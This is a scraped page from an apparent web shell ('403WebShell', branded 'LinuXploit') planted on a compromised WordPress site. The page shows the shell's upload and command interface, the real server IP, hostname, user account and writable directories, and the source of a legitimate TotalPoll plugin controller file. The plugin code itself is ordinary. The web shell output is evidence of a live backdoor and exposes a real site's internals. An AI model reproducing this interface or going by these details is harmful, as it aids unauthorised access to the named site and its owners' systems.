Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.231.160
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Poll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Poll/Controller.php
<?php

namespace TotalPoll\Poll;


use TotalPoll\Contracts\Poll\Repository;
use TotalPollVendors\TotalCore\Contracts\Http\Request;

/**
 * Poll Controller.
 *
 * @package TotalPoll\Poll
 */
class Controller {
	/**
	 * @var Request $request
	 */
	protected $request;
	/**
	 * @var Repository $repository
	 */
	protected $repository;
	/**
	 * @var null|\TotalPoll\Contracts\Poll\Model $poll
	 */
	protected $poll;

	/**
	 * Controller constructor.
	 *
	 * @param  Request  $request
	 * @param  Repository  $repository
	 */
	public function __construct( Request $request, Repository $repository ) {
		$this->request    = $request;
		$this->repository = $repository;

		$pollId     = (int) $this->request->request( 'totalpoll.pollId' );
		$this->poll = $repository->getById( $pollId );

		if ( $this->poll ):
			add_action( 'totalpoll/actions/request/welcome', [ $this, 'welcome' ] );
			add_action( 'totalpoll/actions/request/vote', [ $this, 'vote' ] );
			add_action( 'totalpoll/actions/request/thankyou', [ $this, 'thankyou' ] );
			add_action( 'totalpoll/actions/request/results', [ $this, 'results' ] );
			add_action( 'totalpoll/actions/request/view', [ $this, 'view' ] );
			add_action( 'totalpoll/actions/ajax-request', function () {
				echo $this->poll->render();
				wp_die();
			} );
		endif;
	}

	/**
	 * Welcome.
	 */
	public function welcome() {
		$this->poll->setScreen( 'vote' );
	}

	/**
	 * Vote.
	 */
	public function vote() {
		$this->poll->setScreen( 'vote' );

		if ( $this->poll->getForm()->validate() ):
			$countVote = false;

			if ( $this->poll->isAcceptingVotes() ):
				$countVote = TotalPoll( 'polls.commands.vote.count', [ $this->poll ] )->execute();
				if ( is_wp_error( $countVote ) ):
					$this->poll->setError( $countVote );
				endif;
			endif;

			$log = TotalPoll( 'polls.commands.vote.log', [ $this->poll ] )->execute();

			if ( $countVote && ! is_wp_error( $countVote ) ):
				$this->poll->getRestrictions()->apply();
				$this->poll->setScreen( 'thankyou' );

				if ( ! is_wp_error( $log ) ):
					TotalPoll( 'polls.commands.vote.entry', [ $this->poll ] )->execute();
					TotalPoll( 'polls.commands.vote.notify.newVote', [ $this->poll ] )->execute();
					TotalPoll( 'polls.commands.vote.notify.newChoice', [ $this->poll ] )->execute();
				endif;
			endif;
		endif;
	}

	/**
	 * Thank you.
	 */
	public function thankyou() {
		$this->poll->setScreen( 'results' );
	}

	/**
	 * Results.
	 */
	public function results() {
		$this->poll->setScreen( 'results' );
	}

	public function view() {
		$screen = esc_html( $this->request->query( 'totalpoll.screen' ) );
		$this->poll->setScreen( $screen );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit